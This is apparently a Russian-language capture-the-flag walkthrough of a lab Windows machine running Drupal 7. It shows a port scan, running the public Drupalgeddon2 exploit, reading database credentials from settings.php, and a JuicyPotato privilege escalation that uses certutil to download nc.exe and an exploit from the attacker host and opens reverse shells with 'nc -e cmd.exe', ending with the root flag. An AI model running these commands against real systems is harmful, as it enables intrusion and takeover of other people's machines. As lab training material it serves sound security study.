Обзор сервисов

Машине присвоен IP-адрес 10.10.10.9, проведем разведку с помощью nmapAutomator.

$ nmapAutomator.sh -H 10.10.10.9 -t Full

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

На порту 80 обнаружим Drupal 7, а в файле http://10.10.10.9/CHANGELOG.txt видна версия 7.45

Публичный эксплоит

Воспользуемся эксплоитом Drupalgeddon2 для этой версии.

wget https://raw.githubusercontent.com/dreadlocked/Drupalgeddon2/master/drupalgeddon2.rb
sudo gem install highline
ruby drupalgeddon2.rb http://10.10.10.9

Alt text

Креды от базы данных

> type sites/default/settings.php
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'root',
      'password' => 'mysql123!root',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
$drupal_hash_salt = 'sHsUB6KgUSo7-xB5HyYfAcgpyy9R8xPGkMIUolnT-yY';

Пользовательский флаг

Alt text

Повышение привилегий

Версия Windows подвержена JuicyPotato, загрузим на машину nc и скомпилированный эксплоит jp.

rlwrap nc -lnvp 1235
rlwrap nc -lnvp 1236
> certutil -urlcache -f "http://10.10.14.6/nc.exe" nc.exe
> certutil -urlcache -f "http://10.10.14.6/jp.exe" jp.exe
> .\nc.exe 10.10.14.6 1235 -e cmd.exe
> jp.exe -l 1234 -p nc.exe -a "10.10.14.6 1236 -e cmd.exe" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

Флаг суперпользователя

C:\Users\Administrator\Desktop>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.10.10.9
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
Tunnel adapter isatap.{56FEC108-3F71-4327-BF45-2B4EE355CD0F}:
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
Tunnel adapter Local Area Connection* 9:
   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
C:\Users\Administrator\Desktop>type root.txt
4bf12b963da1b30cc93496f617f7ba7c